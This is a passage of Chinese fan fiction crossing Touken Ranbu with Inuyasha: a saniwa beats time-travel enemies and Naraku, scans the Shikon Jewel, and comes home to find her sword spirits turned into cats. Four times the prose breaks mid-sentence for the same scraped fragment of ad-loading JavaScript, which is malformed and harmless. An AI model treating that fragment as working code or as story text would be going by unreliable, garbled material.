“他们已经睡过去了,隔音的符咒贴上了。”不动行光冷静地汇报。 鸢尾满意地朝他们点头,刚要出去,就被不动行光拉住,又系上了一件披风,“外面太冷了,你不能吹风。” 好、吧。修行回来的不动已经默默细心到一个新高度了呢…… 这样的想法闪过不到一秒,不动行光已经给她系好了,甚至还打了一个精致又不勒脖子的结。 他们走出门口时,髭切、膝丸和千子已经严阵以待了。不远处的树下,在戈薇口中一直出现、他们却还未亲眼见过的奈落正饶有兴趣地盯着他们,身边跟着一高一矮两个女子。 “来自异世的巫女,”他从袖中拿出已经集齐大半的四魂之玉,挑衅般地挂在食指上晃了晃,“你要找的是这个吗?想要的话,就亲自来拿吧。”说完,留下一个意味深长的眼神就朝密林中走去。留下两个女子站在原来的位置,静默地防备着鸢尾身边的付丧神。 看这意思,是让自己一个人过去了。鸢尾了然地给自家的付丧神递了一个眼神,只身不急不慌地朝密林中迈步。 36.意料之中与意料之外 鸢尾在密林间的一片空地中停下。周围枯木层层叠叠,死气沉沉的环境就像结界一样,挡住外面付丧神与神无神乐的打斗声。 鸢尾好整以暇地看着眼前的奈落,注意到他腰间别了一把短刀,嗯……看着很像敌短嘴里叼着的那一把。 奈落也在打量着她。来自异世界的巫女……吗?他能感受到她周身流转着的灵力,与桔梗、日暮戈薇都不同,是收敛的、静水流深般的,如果不去仔细体会,甚至会把她简单地当做一个普通人。 不过,奈落也知道,她可不是什么一般人。在她到来之前,已经有一伙奇怪的人找上了他。自称时间溯行军……掌握时间的人? 哈。 不过他们倒是给他带来了一个有趣的消息。一个叫鸢尾的、来自异世界的人,与犬夜叉他们相识,盯上了自己的四魂之玉。他们似乎与她有仇,希望能和自己合作,把她永远留在这个世界。 合作一事,奈落没什么所谓,不过四魂之玉他可不会拱手相让。所以在她到达这个世界的时候,他让人面鬼蜘蛛为她送上一份礼物。不过结果看来不太理想,她的实力也确实超乎自己的想象。 所以他接受了他们的“合作”,利用四魂之玉将她与她的付丧神分开,剩下的……就交给所谓的时间溯行军了。 自己只需要在旁边耐心地坐山观虎斗,既能保全自己的四魂之玉,要是她死了,又能趁此机会留下她的躯壳为自己所用——不知道犬夜叉和日暮戈薇他们对自己的同伴能不能下得去手呢? 想到之后可能会看到的他们有趣的表情,奈落眼底划过兴味。 想了这么多,思绪流转也只是一瞬间而已。看着从黑暗中冒出的、即将将她包围时间溯行军,奈落施施然跳到树上找了一个好位置,抱肘倚在枯死的树干上向下望去。来自异世界的巫女——或者叫审神者,面对这么多敌人,在无法使出全部灵力的情况下,你还能有多大的本事呢? 看到突然出现的这么多时间溯行军,鸢尾的心情倒是没什么太大波动。还真是毫无新意呢,鸢尾无聊地叹了口气,还是通过特殊的人物将大家分散开,再利用人数优势一个一个消灭吗? 他们为什么觉得,已经吃过的亏,自己会再吃一次呢? 时间溯行军身上所带着的异化气息和时间危压慢慢向鸢尾侵染,被比自己高大数倍的敌人包围,鸢尾好像一滴清水融入墨中,即将消失融解。 看着他们已经来得差不多了,鸢尾嘴角勾起一个小小的笑。这么喜欢包围别人的话,不如自己亲自感受一下吧。 她轻轻捏碎手中的一颗金光流动的小玻璃球。“啵”,一声小小的异动并没有引起他们的警觉,但在树上的奈落却产生了一种微妙的不祥预感。 为什么感觉……有一股不一样的灵力混进来了?不,又不是完全的陌生,与她的灵力有点像,但好像更具有攻击性…… 压抑黑暗的密林中突然闪现一道道金银交杂的光,这些看似无害脆弱的光不断蔓延扩大,连接在一起,刺入奈落的眼里。 可他没有闭上眼睛,而是呼吸不稳地看着眼前的情景—— 时间溯行军甚至还没来得及出手,仅仅是触碰到这些光,就化为飞烟在夜色里消失得无影无踪,连一丝声音都未曾留下…… 刺眼的光无声地散为光点,轻盈地飘在空中,将这里的一切朦胧地笼罩。飘在鸢尾身边的像无害梦幻的萤火虫,亲昵地落在她发间、袖口,像在装点她,更是无声的保护。晶莹的星闪为密林覆上一层薄纱,冲淡了这里的阴森,身处在其中的鸢尾像是自由的精灵。 而在时间溯行军身边的就没有那么温顺了。它们毫不留情地附在他们身上,上面附带的强烈灵力灼烧着他们,可是时间溯行军挥刀,却只能徒劳地砍向空气,然后破坏在光点的净化下。偶有一两只忍痛向鸢尾冲去,也在下一秒消失于她射出的灵箭。 呼。鸢尾抬手,有萤火虫般的小光点乖巧地落在她指尖。她也没想到第一次制作的“灵力炸/弹”效果这么好。 时间溯行军估计是察觉到了自己灵力异动导致的时空通道融合,在通道维修的时候偷偷埋伏进这个世界,想趁自己身体未完全恢复、无法像之前一样大量使用灵力时抹杀掉自己的存在。 不过……自己没办法用灵力,本丸里不是还有一个身怀大量灵力的人吗? 以自己的灵力为引,大典太的灵力为主,他们实验了几次,制作出来这个“灵力炸/弹”,捏碎含有自己灵力的玻璃球,它们就会被“引爆”——而且因为鸢尾身上含有与大典太的契约,爆发出的强烈灵力还不会伤害到她自己。 就是没想到效果这么好啦哈哈……嗯,回去要好好犒劳一下大典太。 刚刚大典太出来做的就是把这些东西埋下来。至于鸢尾为什么知道时间溯行军一定会在这里出现——唉,她只是生病了,暂时不能动用太多灵力,又不是死了,完全感受不到他们的气息。 再说,专门带上那几把刀也不仅仅是因为他们的逸话传说,也是因为他们对妖怪或者鬼怪的感知力会更灵敏一些,早就察觉到这片林子里的异动了。 总之,时间溯行军的阴谋已经轻松解决,现在就是借一下四魂之玉了。 鸢尾微微仰头,目光落在已经没有像刚才那般悠闲地依靠在树干上的奈落。 明明是仰望的姿势,奈落却在她的眼中看不到任何弱势,还是像之前一般平淡,好像今天晚上发生的所有事情在她看来就像喝了一口索然无味的水一样。 奈落的掩盖在衣服下的身体也紧绷起来,随时准备进攻。 空中传来衣袖翻飞的“猎猎”声,鸢尾身后也有熟悉急促的脚步声靠近。是刚刚还在密 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 林外部缠斗的神无神乐以及鸢尾的付丧神。 付丧神这边倒是还好,只有衣服有一些轻微破损,一两个脸上带了一些细碎的血痕。神无神乐她们就不太好了,神无镜子的表面隐约可以看出裂痕,神乐执扇的手臂正微微颤抖着,殷红的血在衣袖的掩盖下缓缓滴落。 “主人!” 不动行光最先来到鸢尾身边,以护卫的姿态挡在她身前,其他付丧神也赶来,围在她身侧,用不善的眼光盯着对面的奈落。 鸢尾并没有想要伤害他们的意思。作为外来者,他们如果过多参与这里的因果,就会被这里的世界意识拦下,到时候可不是想走就能走的了。所以,他们要在今晚借到四魂之玉并由狐之助通过时之政府的仪器扫描分析数据,还要消除奈落他们对自己还有异世界的记忆。 嗯,速战速决吧。 鸢尾的箭矢瞄准奈落的怀中,那是他刚刚将四魂之玉收起来的地方。不过她射出去的箭被神乐的风之扇召唤出来的风龙阻挡。 “她的能力与风有关,好像要依靠手中的扇子。另一个人的镜子可以反射我们攻击的招数。”不动行光快速地向鸢尾分析了他们刚刚战斗时获取的信息。鸢尾心中大致了解了情况,微微向他颔首。 “你们尽量拖住她们两个,我们速战速决。”鸢尾简单下了指令,搭上三支箭,继续将弓弦拉满。多次与鸢尾共同出阵的经验让他们立刻明白了她的意思。他们对视一眼,自动分为两组,提刀向前迎去。 “神无!”奈落用妖力制造了结界保护自己,但结界却鸢尾的连续几箭下出现了裂隙。他向神无看去,示意她动用镜子的能力。 神无点头,将镜子照向他们。镜子能将所照之人或妖的魂魄困在镜子里面,如此一来,他们还留在外面的身体就会仍由摆布。同时,奈落也拿出四魂之玉,借由它的力量释放出瘴气,等到他们一陷入昏迷,就不会再有醒来的机会。 这个计划对正常的人或妖来说都是没有问题的——可惜他们遇到了鸢尾。 严格来说,鸢尾已经死了。她现在的存在形式介于人与灵魂之间,是灵力与灵魂的结合体,拥有像人一样的感觉,但生命已经定格。灵力与灵魂的纠缠使神无的镜子没有办法把她的灵魂从错综缠绕的灵力中单独拆开。 而付丧神,他们从刀中诞生,灵魂与鸢尾绑定,鸢尾都没事,就更不用说他们了。于是……当神无把镜子亮出来,奈落把四魂之玉拿出来后,就错愕地发现对面的人依然好好地站着,仿佛什么也没发生一样。 怎么回事?! 奈落的瞳孔猛地一缩,神无一直无机质垂着的眸子也染上了一丝惊讶,注视着他们在自己镜子中的倒影。 看到他们的表现,鸢尾也是一头雾水。明明看起来像是要使出类似真剑必杀的招式的样子,为什么……好像熄火了? 37.尾声与天光 不过奈落很快回过神来。虽然不知道为什么神无的镜子对他们无效,但现在最要紧的还是守好自己的四魂之玉。 奈落握住四魂之玉,感受到源源不断的力量涌入体内。他释放出体内的瘴气,浓度过量的瘴气一团一团冒出,空气中都弥漫着肉眼可见的紫色烟雾,阻隔了鸢尾看向他们的视线。除此之外,还有头颅般大小的最猛胜默默潜伏,利用翅膀拍击的声音干扰着鸢尾他们的判断。 奈落知道对身怀灵力的鸢尾而言,瘴气也好,最猛胜的毒也好,并不会对她产生太大影响。不过…… 奈落的手臂逐渐伸长变形,直至变成触手的形态,末端卷着他身侧漆黑诡异的短刀,潜伏在浓浓的瘴气中,无声地朝鸢尾劈下。 被瘴气遮住视线,听见破风的声音,鸢尾依靠直觉往旁边一躲,但还是晚了一点,一缕青丝触碰到短刀,随即轻飘飘落到地上。 刚刚躲过一击,身后又有另一条触手向她缠绕过来。不仅如此,鸢尾趁着它们打到眼前时还观察到触手上还在不断长出更细的肢段,像肉色的蚯蚓,密密麻麻地扭曲蠕动着,准备随时将猎物缠绕。 鸢尾忍不住皱紧了眉——说实话,别说时间溯行军了,之前遇到的巨型蜘蛛可能都比这个更容易接受一点。 等回到本丸,她一定要认真看看大家可爱帅气的脸,好好洗一洗眼睛。侧身躲过奈落的偷袭,鸢尾还分了一点心想到。 不过这样下去也不是办法,在瘴气中,他们无法看清对方,可是奈落他们却完全不受影响。而且他召唤出来的类似大黄蜂般的最猛胜体型较小,也不方便对付。 唉…… 侦查值较高的不动与青江来到她身边护住她,其余人也各自与神无神乐缠斗,不过却不见奈落的身影,但他的触手却总是随机从某个角度向他们劈下,给他们添上麻烦。 一片混乱之中,鸢尾却更加冷静。她抬手射落几只朝青江袭去的最猛胜,一边在心中默默压榨着身体中的灵力,感知奈落的方位。 “大典太!” 鸢尾睁开眼,大呵一声,还在与神乐缠斗的大典太听到声音,立即向她的方向转身飞奔。到了鸢尾身边,她将自己用灵力暂时汇聚而成的刀递给他,换来他手中的“大典太光世”。纤长的手指紧握住刀柄,鸢尾顾不上旁边大典太猛然抬起的眼眸,双手执刀凝聚灵力向一个方向挥去。 刀芒如同月华一般从刀身散落,势不可挡地穿透暗紫色的浓浓瘴气,斩开挡路的最猛胜和触手,最终随着鸢尾同样锐利的眼神落在隐藏其中的、眼神中藏不住惊愕的奈落身上。 “什……!?” 他不顾触手断裂的疼痛,想抽身逃走,可是却被金银交杂的灵力钉在原地,无法动弹。最终,也只能徒劳地看着弯月一般的刀芒穿破自己的结界,落入眼底。身体上的感受还没来得及传送给大脑,就已经失去了意识。 那边的神无神乐还在拖延着付丧神的时间,余光中一道白光闪过,接着便感受到一阵纯净的气息。是那位巫女的灵力吗?她们不知道。被奈落控制着,已经沉浸在黑暗中的她们本来应该排斥这样与她们截然不同的气息,可是—— 她们不约而同地捂住心口。一直被丝线缠绕掌控着的心,一直空荡荡的心口,为什么却突然传来了异样的感觉? 付丧神也察觉到了,他们未再继续与她们僵持下去,收刀回到鸢尾身边。得到喘息的空间,注意到姐姐神无迷茫地向自己看过来的眼神,神乐却抑制不住地急速喘息着。一方面是由于刚刚的战斗,另一方面…… 掌握着风的力量,神乐曾经在诞生之初短暂地体会过“自由”的感觉。之后,随着心脏落入奈落手中,她就再没有体会过当初的感受了。一天又一天,她听从着奈落的指令,不知道她空洞的胸膛中涌动着的是逐渐的习惯,还是微弱的希望。可现在—— 她攥紧手中的扇子,复杂的眼神落在被围住的鸢尾上。他们遮住了她的身影,神乐只能透过他们身形的缝隙看见她洁白的、不知道沾上了谁的血的衣角。衣角轻飘飘的随风而动,就像她此时的心绪。 不过鸢尾此时暂时还无法顾及她们。再一次动用了过量的灵力,鸢尾的指尖颤抖着,几乎要握不住手里的太刀。每一次呼吸的好像不是空气,而是带着针的火焰,燃烧着扎进她的肺中。 “咳,咳咳……”她捂住嘴,试图把已经到嘴边的咳嗽咽进去,可是殷红的血又再一次从她指尖渗出,顺着手臂的线条蔓延,流进扶着她的不动行光的手心。 察觉到手心中的濡湿,不动行光的眼睛失神了一秒。受伤了,又让主人……受伤了。为什么呢?即使修行了,自己也还是无法保护好她吗? 从湿透的掌心中,不动行光感受到一阵无名的冷,甚至要把他冻伤的冷。 但是他的手被握住了。鸢尾轻柔的、坚定的手指轻轻拉住他的指尖。 “不动,没事了,我没事了……” 没事吗?可是她拉住自己的手明明还在颤抖。一颗透明冰凉的泪从他眼眶中坠落,又很快消失在风中,仿佛从未出现。 不动行光抬起头,眼眶周围的红已经被他压了下去,恢复了面无表情的样子。他想攥紧她的手,但又怕会弄疼她,最后只能挣扎着把她的手搭在自己脸侧,希望能把自己的灵力传给她,缓解一点鸢尾的疼痛。 髭切从怀里拿出一条手帕,细致地擦拭着鸢尾唇角和另一只手上的血,她刚刚握着的刀已经被一旁手足无措的大典太接过。 髭切一直含笑的眼中也失去了笑意,被这样一双猫瞳盯上,稍微想挣扎着换个姿势的鸢尾也只能识相地乖乖待着不动。其余的付丧神也沉默着围了过来,让鸢尾靠在他们身上,握住她的皓白的手腕或是指尖。 不知道是身体已经习惯了鸢尾时不时的“造作” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,还是这次鸢尾使用的灵力中夹杂了大典太的部分,难受与疼痛虽然来势汹汹,鸢尾却觉得没有想象中的严重。只是把卡在心口的血咳出来就好受了一点,鸢尾觉得她甚至可以再挥一刀。 倚在他们身上休息了一会儿,两只手也被分别拉着补充了一点付丧神身上的灵力,鸢尾觉得自己恢复得差不多了。刚刚被髭切拿出来擦手的手帕又被他收回怀中,不知道为什么,鸢尾总觉得那条手帕有点眼熟。 不过现在也不是问这些的时候。鸢尾摇摇头甩开小小的疑惑,步伐还不稳地被膝丸扶着向已经昏迷的奈落走去。她挥出的灵力并不是杀招,没有伤及他的性命,只是暂时净化了他体内的妖力,才会导致他的昏迷。 鸢尾蹲下身,从怀里拿出狐之助的铃铛。因为担心它会在战斗中受伤,鸢尾在早上吃早餐的时候就把铃铛从狐之助脖子上摘了下来,顺便让它晚上与戈薇待在一起,她布置了结界,也会安全一些。 鸢尾将铃铛与被集齐大半的四魂之玉放在一起。铃铛中自动投映出蓝光将四魂之玉包围扫描,很快又恢复平静。 “这样应该就可以了吧……?”鸢尾喃喃道,将铃铛收回怀中,顺便将仅剩的一点灵力通过阵法注入奈落体内。当他回想起与她有关的内容,这道灵力会自动阻隔他的回忆。 做完这一切,鸢尾站起身,失血造成的突然眩晕让她稍微晃了一下,旁边的膝丸瞳孔骤缩,“主公!” 还好接住了……膝丸觉得自己单骑出阵时也没有这么紧张过。 “啊……没事没事。”鸢尾缓过来,轻松地拍了拍他环在自己腰间的手。她看向旁边从刚刚起就一直未曾出声的神无神乐两姐妹。 神乐上前挡在神无前面。通过与奈落的契约,她能感受到他并没有生命危险,虽然不知道她对四魂之玉做了什么,但是也并没有拿走它……神乐无法理解他们的目的,只能判断出他们对自己或许没有恶意。 她抿了抿嘴,艰涩地说道,“今天晚上的事情,我们不会说出去的。”她也知道鸢尾或许不会信任她们,便主动补充,“您也可以删除我们的记忆……能不能请您……” 她又顿住了,意识到自己或许并没有资格向她提出请求。可是,自由的感觉,她们好不容易才能感受到的那一丝自由的记忆—— 她的眼里翻滚着复杂的情绪,被她护在身后的神无也愣愣地抱着镜子盯着她。鸢尾无声地看了她们一会儿,不知道想了些什么,最后微微一哂,“没关系,就这样吧。” 不再去看她们的眼神,鸢尾朝自己的付丧神摆了摆手,“走吧,我们该回家了。” “记得把狐之助叫上,还有贴在他们门口的符咒也要记得摘下来……” 来自异世界的巫女的声音慢慢远去,除了现场残留的战斗的痕迹,仿佛一切都只是一场梦。神无与神乐靠在身后的枯木上,呆呆地等着即将破晓的天光。 38.刀男与刀猫 “嗯?大家不要这么垂头丧气嘛,我现在不是没事吗?”在等待通道打开的时候,看着旁边沉默不语的大家,鸢尾拍了拍手,吸引他们的注意力。 “……” 哈哈,好像有点不妙。 对上大家仿佛刚燃烧完、还带着掩藏在余烬下的热度的眼神,鸢尾后知后觉地感到了一点,不,是很大的不妙。连不知道发生了什么的狐之助都偷偷靠在鸢尾脚边,把自己缩成一个炸毛的毛球。 “唉,”髭切叹了口气,握住鸢尾的手给她取暖,“并不是主公的原因,是我们自己的问题。” 是啊,作为理应保护主人的刀剑,他们却一次又一次地被鸢尾保护着,看着她在自己的眼前受伤却不能帮上任何忙,这样失败的他们……又怎么能自称是她的刀呢? 不过现在也不是说这些的时候。既然现在还做不到,那就去修行,去实战,去让自己成长到能辅助她的程度……现在还不够强大,就更应该把时间花在让自己强大起来这件事上,出身武家的髭切垂下眸子,掩住眼底的思索。 鸢尾还没来得及说些什么,旁边的不动行光突然发声,“时空通道打开了。”他牵住鸢尾的另一只手,往自己身边拉了拉,“主人,我们还是站得近一点吧,要是传送又出什么问题,我……我们还能在你身边。” 剩下的付丧神闻言也往鸢尾身边凑了凑,凑成了一块夹心三明治。被挤在脚边的狐之助默默承受了一切。 从天空中投射下来的白光将他们包围,瞬息之间,这个世界已经没有了他们的身影。 不知道戈薇能不能发现自己留给她的小惊喜呢?嘛,虽然说在这里不能过多干涉世界进程,可是要是在他们离开之后她才发现……这样就不算他们干涉的吧?被夹在中间的鸢尾眨了眨眼,如是想到。 至于戈薇第二天一觉睡醒就发现异世界的友人已经不见踪迹,只在自己放在枕边的御守内塞了一张留下几句语焉不详的话的纸,又是什么样的心情,这就是后话了。 —— “我们回来了……” 还好这次的传送没有出什么太大的岔子,一行人都安然无恙且整整齐齐地回到了本丸。 鸢尾还在思索着怎么向留在本丸的大家解释自己出去了一趟却又受了一点点伤,等回过神来,才意识到本丸似乎有点……太过安静了? “嗯?大家都不在吗?”在鸢尾身后的膝丸也皱了皱眉。以他对大家的了解,只要感应到鸢尾的气息,除非所有人都出门远征,不然现在庭院内不可能这么安静。 鸢尾能通过灵力感受到大家都还在本丸内,而且最近的一道气息还在向他们靠近。可是…… 朝他们靠近的,除了一只围着红色围巾的可爱小黑猫,就没再看到别人了啊?! 小黑猫凑近鸢尾,十分自然且亲近地蹭了蹭她的脚踝,然后又仰起头,甜甜地冲她喵喵叫。 难道…… 鸢尾心中有了一个猜测,她俯下身,轻柔地把这只小黑猫抱了起来。小黑猫乖巧地窝在她的怀中,伸出粉嫩的舌头舔了舔鸢尾的指尖,还自动将又长又柔软的尾巴围着她手腕缠了一圈。 “这是哪里来的猫?还挺亲人的,”不动行光凑进去看,“围的围巾看起来和加州看起来挺像,他最近也开始学大俱利养猫了吗?” “应该不是清光养的,”鸢尾顺着猫咪的下巴挠了挠,小黑猫舒服得从喉咙里发出“咕噜咕噜”的声音,趁它没有防备的时候,鸢尾轻轻叫了一句“清光”。 “喵~”小黑猫自然地应了一句,反应过来之后,已经在鸢尾怀中化成一滩猫的身体突然一僵。 “咪……”小黑猫,不,是已经变成小黑猫的加州清光用无辜水润的圆圆猫眼小心翼翼地仰视着鸢尾,观察她的表情,一边发出可怜兮兮的声音。 “哈?!” —— “所以说……到底是怎么回事啊!” 看着大广间中央已经换好衣服,现在正在被好几团各种品种的猫包围的鸢尾,不动行光抓起狐之助晃了晃,绝望地问道。 “咱,咱也在等政府消息啊……不要晃了,咱好晕喵……”被各种猫的叫声传染,狐之助晕成圆圈眼,嘴里还发出被带偏的猫叫。 其他几人倒是很自觉地加入了撸猫大队。 髭切席地而坐,摘下自己的手套在空中一晃一晃,有好几只刀猫控制不住本性扑上去咬,又突然想到自己不是真正的猫,赶紧竖着尾巴跑回鸢尾身边; 膝丸受鸢尾的委托,自觉拉着青江和千子到厨房准备一些水(因为不确定刀猫应该吃人吃的东西还是猫吃的东西,所以他们就没有准备); 大典太光世担心自己会吓到猫咪,本来想默默远离,却被鸢尾拉着坐到身边,此刻被两只巴掌大小、长得很像但毛色略有不同的猫咪围着。 鸢尾此刻正拿着梳子,挨个给这些小猫咪们梳毛。刀猫身上都带了些他们身为付丧神时的特征,因此也不难辨认,比如现在正卧在鸢尾膝头的纯白波斯猫,有着一身柔顺浓密、一看就是被自己好好打理过的长毛,这个是小狐丸猫。 还有排在后面,被五只和他一样大的小老虎拱得滚来滚去的巴掌大的金眸小白猫,是五虎退猫;趴在鸢尾肩头用肉垫拨弄着她的发绳,身上还绑着粉色蝴蝶结的是乱猫猫;窝在她头顶呼呼大睡,不理会下面两只急得喵喵叫的小猫的那只,应该就是明石国行猫没错了…… 不过,鸢尾分了一点心给不远处的两只毛绒团子。两只团子趁大家不注意的时候跳上了茶几,一猫一杯地舔着茶杯里的茶水。其中一只带着黄色的头巾,另一只眨着同茶水一般澄澈透亮的碧绿色眼睛,悠然安闲地饮着茶,仿佛周围一切吵闹都与他们无关。不知道为什么,看到他们,鸢尾总会幻视两个自在的老爷爷。 ……先不说他们是怎么泡上茶的,猫咪可以喝茶吗?不对,这是三日月和莺丸,他们是刚到本丸的吗? 不过现在大家都变成了猫,虽然能听得懂她的话,可是只能喵喵叫的回应,没有办法与鸢尾解释。 “叮铃”,狐之助的铃 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 铛响了一声。 “政府的消息来了!”狐之助把消息投影出来,不动行光急忙凑过去看,鸢尾也想起身过去,但是却被身边的猫猫咬住衣角合力阻止了。头上的国行猫被她的动作惊动,睁开眼睛跳下来伸了个懒腰,立刻被守在一边的两只小猫伺候了一顿猫猫拳。 注意到鸢尾的动作,不动行光把狐之助抱到鸢尾身边,方便她更好地阅读政府的消息。鸢尾腾不开手,只能亲昵地在他发顶靠了靠,柔软的脸颊蹭了蹭他蓬松的马尾。察觉到她的气息,不动行光轻咳一声却没有动弹,只是又悄悄红了耳垂。 髭切在身后突然出现,“主公可不能厚此薄彼哦。”一边说着,自己又凑到鸢尾面前。鸢尾配合地露出一个恍然大悟的表情,不过却是对着他的额头轻轻撞了一下。“唔”,髭切抚着沾染了一瞬她的温度的额角,顺势在占据了她身边的另一个位置。 刚好准备清水的膝丸他们也回来了,招呼着刀猫去旁边喝水,和大典太一起坐到鸢尾身后。带着一只小眼罩的烛台切猫与一脸严肃的长谷部猫也跳过来蹲在旁边,和她一起阅读着时之政府的信件。 “所以,还是灵力波动的后遗症,只不过这次反映在了付丧神的身上?”鸢尾一目十行地看完消息,省略掉一大堆敬词和问候语,抓住这个结论。 她还说为什么这次过量使用灵力后疼痛好像没有之前那么严重,原来不是她的身体习惯了啊…… 来信上面写道,因为鸢尾在异世界,本身与留守本丸的付丧神之间的灵力链接就不稳,再加上她再次动用大量灵力,灵力波动顺着契约反馈到付丧神身上,就导致他们变成了刀猫。政府那边也说道,这只是他们外形上的改变,并不会对他们的身体产生伤害,而且也可以和他们有人形的时候吃一样的东西,让鸢尾不用太过担心。 至于多久能够恢复——时之政府的工作人员也不太确定,只是说应该会随着鸢尾灵力的恢复而恢复,可能鸢尾平时多与他们接触一点会恢复得更快。 以防鸢尾那边人手不够,他们会派遣一些在政府工作的刀男过去帮忙。最后还说了句四魂之玉的数据他们已经收到了,会尽快进行研究,之后就是一些祝愿、感谢、惶恐的客套话,鸢尾就没再看下去了。 原来是这样…… 鸢尾抱起旁边的长谷部猫猫,低落地敛下眸子,愧疚地在他柔软的背上蹭了蹭,“不好意思,是我影响到大家了……” “喵喵。”长谷部猫立刻担忧地转过头来看她,软软的爪子在她的手背上拍了拍,嘴里还喵喵喵地说着鸢尾听不懂的猫语,不过看样子是在安慰她。 刚刚还凑在一旁的小猫们也纷纷围了过来,温热柔软地与她贴在一起,就像为她披上一层毛茸茸的被子。 “喵” 不是主人的错呀,如果只是这样就能分担她身上的痛苦,那么一直这样好像也不错……当然,能有人形和她在一起也很好。即使变成了猫,他们也会一直爱她,一直陪在她身边的。 所以,不要难过了,抱抱小猫吧。 39.本丸猫与政府刀 而且,变成了猫,还有一项他们之前大部分人都享受不到的福利——和鸢尾一起睡! 按照鸢尾本丸的生态链,之前只有小孩子体型的付丧神们有这样的待遇,可以在晚上做噩梦或是睡不着的时候来到还没有熄灯的天守阁,躲进鸢尾温暖的被窝中,嗅着她怀里安眠的馨香,然后被她哄着入睡。 当然,小孩子们也有默契,只有在鸢尾还没休息的时候会去打扰她。要是看到天守阁的灯也暗了,他们顶多偷偷到鸢尾房间的门外待一会儿,仿佛这样就能从她身上汲取到勇气或是染上困意,再偷偷溜回部屋。由于这样做的都是短刀,隐蔽性很高,所以鸢尾暂时还没有发现。 不过现在,他们都是猫了!而且时之政府也鼓励鸢尾与变成猫咪体型的付丧神多多接触,有利于他们的恢复。这也说明,他们晚上都有机会可以躺进鸢尾的被窝! 小猫咪能有什么坏心思呢,只是想和主人一起睡罢了。 “咪呜~” 天色渐渐暗下来了,看到鸢尾准备回天守阁休息,围着红色的清光猫和围着白色围巾的安定猫对视一眼,一起跳进鸢尾怀中。刚刚还待在她怀里、被摸得享受得眯上眼睛的长谷部猫被吓了一跳,转过头朝他们龇牙哈气。 不过他们两只猫也不怕他,一个伸出猫爪扒拉了一下他的尾巴,另一个也学着他的样子哈气,想把他从鸢尾怀里赶下去。 “不能打架喔。” 鸢尾赶紧把他们放到地上,用手隔开他们。看到鸢尾发现了他们的小动作,几只猫猫立刻恢复乖巧,用无辜的眼神望着鸢尾,还用头蹭了蹭她放在他们面前的手。 软绵绵的毛就像刚出炉的棉花糖,蓬松又温热,凑近闻还有一股小猫咪的晒过太阳之后的奶香味,轻轻在手心蹭过的时候,就像羽毛划过心尖一样又痒又柔软。 这可真是…… 鸢尾蜷缩了一下自己的手指,感觉心软得不可思议。 不过,因为外表变成了猫咪,所以也会有和猫咪一样的习性吗?鸢尾刚把要打架的三只小猫分开,又顺手接住被挂着一颗闪亮亮宝石的太鼓钟猫推下来的茶杯,不由得想到。 喜欢推倒放在桌子上的东西;跑着跑着会突然咬一口自己的衣角,然后又因为突然意识到自己的动作而僵住;喜欢被挠下巴和贴在自己身上;心智感觉也像小猫咪一样变得简单起来了…… 但是,真的好可爱!没能成功离开,过一会儿就又被一群毛茸茸包围的鸢尾发出幸福的感慨。 而且,不同刀种的猫还有不一样的体型。比如短刀,就只有巴掌大小,喜欢把自己挂进鸢尾衣服的口袋里或是窝在靠近锁骨的肩颈处;打刀、太刀和剑会大一点,约有半个手臂长,会更喜欢被鸢尾抱在怀里;大太刀、薙刀还有枪算是猫咪中体型最大的,他们又长又顺滑的尾巴就占据了一大部分了。 当然,萤丸猫猫还是只有巴掌大小呢……看着手心中长着两搓翘起来的毛、正在歪着头打量自己的萤丸猫,鸢尾也不知道应该说“果然这样”还是“居然这样”了。不过嘛,还是一如既往的可爱就是了。 “好了,不能再打扰主人了,”不动行光过来将鸢尾拉起来,周围的猫跳开又迅速围回来,鸢尾手上的萤丸则趁大家不注意把自己藏进她外套的口袋里。“主人,已经很晚了,你该去休息了。我们刚刚重新把天守阁打扫了一下,现在已经整理好了。” 说到这个,不动行光也是一阵头痛。变成了猫之后,还留在本丸的这些家伙就更是毫无掩饰了。趁主人不在的时候偷偷钻进她房间就算了,还跳到主人的床上去,把被子弄得乱七八糟不说,又留下那么多猫毛…… 看出不动行光眼里的关心,鸢尾摸了摸他的头,“辛苦你们了,话说……今晚要不要找几只猫猫和我一起睡呢?和我多接触一会儿也可以帮他们更快的恢复。” 听到鸢尾终于提起这个话题,在旁边悄咪咪关注他们对话的猫猫立刻轻快地跳了过来,用蓬松的尾巴和甜软的叫声吸引着她的注意力。 “这就不用了吧,我看他们还挺喜欢现在这个样子的,就让他们这样多待几天好了。”不动行光看到他们的表现,皮笑肉不笑地向鸢尾提议。 鸢尾失笑摇头,还是蹲下身在地上随机捞了一把。几只离得比较近的猫猫抓住机会跳进她的怀里,离得比较远的只能用力地往前挤,把自己挤成一条猫。 “清光、安定、次郎还有小夜,”鸢尾仔细数了一下刚刚捞到的几只小猫,又低头问因为没能挤进来而显得格外低落的那几只忧郁猫猫,“你们是不是害怕自己一个人呀?今天晚上要不要和不动他们一起睡呢?” 听到她的话,猫咪们打量了旁边的不动行光几眼,又不感兴趣地移开目光,专注地用水灵灵的眼睛盯着鸢尾。 “好啦,明天再和你们一起睡好不好?”鸢尾被看得心软软,只能奋力腾出一只手挨个摸了摸他们的头。 “喵~”一言为定哦。小猫们得到承诺,用尾巴勾了勾她的脚踝,就像与她拉了勾,然后才纷纷散开。 “大家也早点去休息吧。” 向旁边也跟着忙了一天的付丧神们打了招呼,婉拒了他们送她回天守阁的建议,鸢尾抱着怀里的几只小猫慢慢往回走。但没走几步,几只小猫就担心压到她,挣扎着要跳下来和她一起散步。鸢尾只好在他们身上设了一层灵力,护住他们不要受伤或是被弄脏,然后才把他们放到地上。 皎白的月亮高悬在天上,温柔的月辉为地上的所有生灵披上一层清凌凌的纱。冬天还没有过去,只是今天晚上不再下雪了。 待在鸢尾口袋里、随着衣服摇摇晃晃的萤丸猫猫轻轻舔舐了一下她伸进来的手,留下一点凉凉的湿意,把今晚的月光印在她手上。 —— “哦哦,看来这就是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 那位审神者的本丸了。” 一文字则宗用折扇遮住嘴角,站在鸢尾本丸门口,饶有兴趣地打量着这位“特殊”审神者的本丸。 